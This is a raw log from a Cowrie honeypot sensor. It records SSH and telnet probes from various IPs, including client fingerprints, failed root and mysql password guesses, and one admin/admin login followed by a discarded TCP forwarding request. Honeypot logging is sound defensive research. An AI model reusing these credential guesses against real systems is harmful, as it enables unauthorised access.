{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:b5:eb:8d:92:15:7e:2e:23:77:77:aa:1f:a8:7f:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfBWdZ+gHMMpUFurK2hAv5MXCJZTimLGB26E9s6rk8UOCe45nGZUsBDlOD2MmdqP4jSs3XWcBAVlmlvTuIrdEWazNWueRFraGX7hCNYLZflXOM1fECm3TrA35u9leGBwdNNWdbFHSaNMqSN8suSyKvJlpvtbCPu4t1LDv0cYedFTSN6HW1KTB/c2OmlWktglhIczhh+km21qq/iyBP5ZSTncn17QVAPwuhaoBaBMRP47YT/6i9oeeeVAp+nubEEY9Voz8N2X/+wCo6wPJJv0HsQGkfzoUSIiJSvrXQw41kXadvEseLHlAUVlpoGSmoRGjhuqRgcTToFYyc+OdqeyrJ49qyRWGGUVRybj1Vl0LPQK3GCrPUH6eVd+GQWtcNuHWjvPWDaSkGG+sxtp4E76zzsxDJ8ENrRmiJwW6UA6wCypdlVqBVfcWFi6kCOJkd5froij4HOlTqrhGyko248jQaK2Y7wYJSeDbX0iQSmvU4JXZgsA6VTMFA9hE5NZNI3gJBGs0QQloAz751WkmEljdvRDA9cNP+Dud3KQg4QoOfsc8TlDvuhUvp6DBgvptleb0Igsac7hfR+7y5SMXm3/SnrLLsblSzyBD8U0D5L+wqdJI5q2MWPHQj1cIM8qK2jV5UTuKPivTsOfnFRLSIyY0xhgkdKnd06Mx6p2JxToTEcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:50.990340Z","src_ip":"87.121.69.138","session":"7bf492a4da1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:51:51.075528Z","src_ip":"87.121.69.138","session":"7bf492a4da1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":33298,"dst_ip":"159.203.135.109","dst_port":22,"session":"55157dc73500","protocol":"ssh","message":"New connection: 43.163.81.22:33298 (159.203.135.109:22) [session: 55157dc73500]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:02.476940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:02.481969Z","src_ip":"43.163.81.22","session":"55157dc73500","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:02.719343Z","src_ip":"43.163.81.22","session":"55157dc73500","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxswedc","message":"login attempt [root/qazxswedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:03.701970Z","src_ip":"43.163.81.22","session":"55157dc73500","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:04.944456Z","src_ip":"43.163.81.22","session":"55157dc73500","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":15766,"dst_ip":"10.17.0.5","dst_port":22,"session":"14d9123f55d4","protocol":"ssh","message":"New connection: 87.251.64.176:15766 (10.17.0.5:22) [session: 14d9123f55d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:09.337332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:09.342069Z","src_ip":"87.251.64.176","session":"14d9123f55d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:09.437996Z","src_ip":"87.251.64.176","session":"14d9123f55d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:09.806311Z","src_ip":"87.251.64.176","session":"14d9123f55d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:09.905430Z","session":"14d9123f55d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:10.006850Z","src_ip":"87.251.64.176","session":"14d9123f55d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:10.150697Z","src_ip":"87.251.64.176","session":"14d9123f55d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":46242,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e806e55f038","protocol":"ssh","message":"New connection: 171.244.37.97:46242 (159.203.135.109:22) [session: 3e806e55f038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:21.280464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:21.285248Z","src_ip":"171.244.37.97","session":"3e806e55f038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:21.535690Z","src_ip":"171.244.37.97","session":"3e806e55f038","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147147147","message":"login attempt [root/147147147] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:22.568851Z","src_ip":"171.244.37.97","session":"3e806e55f038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:23.827925Z","src_ip":"171.244.37.97","session":"3e806e55f038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":47696,"dst_ip":"10.17.0.5","dst_port":22,"session":"f57713e30f6d","protocol":"ssh","message":"New connection: 103.183.114.55:47696 (10.17.0.5:22) [session: f57713e30f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:26.117244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:26.120924Z","src_ip":"103.183.114.55","session":"f57713e30f6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:26.348512Z","src_ip":"103.183.114.55","session":"f57713e30f6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"noname","message":"login attempt [root/noname] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:27.035591Z","src_ip":"103.183.114.55","session":"f57713e30f6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":55628,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f2f763a2593","protocol":"ssh","message":"New connection: 43.135.164.198:55628 (159.203.135.109:22) [session: 7f2f763a2593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:27.238703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:27.243345Z","src_ip":"43.135.164.198","session":"7f2f763a2593","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:27.312730Z","src_ip":"43.135.164.198","session":"7f2f763a2593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazWSXedcrfv","message":"login attempt [root/qazWSXedcrfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:27.624129Z","src_ip":"43.135.164.198","session":"7f2f763a2593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:28.265572Z","src_ip":"103.183.114.55","session":"f57713e30f6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:28.696441Z","src_ip":"43.135.164.198","session":"7f2f763a2593","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.24.157.32","src_port":59006,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebf1e71c2253","protocol":"telnet","message":"New connection: 179.24.157.32:59006 (159.203.135.109:23) [session: ebf1e71c2253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:38.069584Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":45858,"dst_ip":"159.203.135.109","dst_port":23,"session":"731a8c1f037c","protocol":"telnet","message":"New connection: 213.108.3.46:45858 (159.203.135.109:23) [session: 731a8c1f037c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:38.873591Z"}
{"eventid":"cowrie.session.closed","duration":0.01792597770690918,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:38.891420Z","src_ip":"213.108.3.46","session":"731a8c1f037c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.354522943496704,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:51.423958Z","src_ip":"179.24.157.32","session":"ebf1e71c2253","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":49484,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cd0db2d5a60","protocol":"ssh","message":"New connection: 43.135.168.126:49484 (159.203.135.109:22) [session: 7cd0db2d5a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:57.122452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:57.127420Z","src_ip":"43.135.168.126","session":"7cd0db2d5a60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:57.196532Z","src_ip":"43.135.168.126","session":"7cd0db2d5a60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfgh@123","message":"login attempt [root/Asdfgh@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:57.507728Z","src_ip":"43.135.168.126","session":"7cd0db2d5a60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:52:58.580094Z","src_ip":"43.135.168.126","session":"7cd0db2d5a60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":52966,"dst_ip":"159.203.135.109","dst_port":22,"session":"2664b0db5723","protocol":"ssh","message":"New connection: 193.32.162.151:52966 (159.203.135.109:22) [session: 2664b0db5723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:10.319307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:10.324436Z","src_ip":"193.32.162.151","session":"2664b0db5723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:10.437116Z","src_ip":"193.32.162.151","session":"2664b0db5723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"password","message":"login attempt [mysql/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:10.761948Z","src_ip":"193.32.162.151","session":"2664b0db5723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:11.871742Z","src_ip":"193.32.162.151","session":"2664b0db5723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58882,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7971b4f5fec","protocol":"ssh","message":"New connection: 103.176.20.57:58882 (159.203.135.109:22) [session: e7971b4f5fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:53:14.189335Z"}
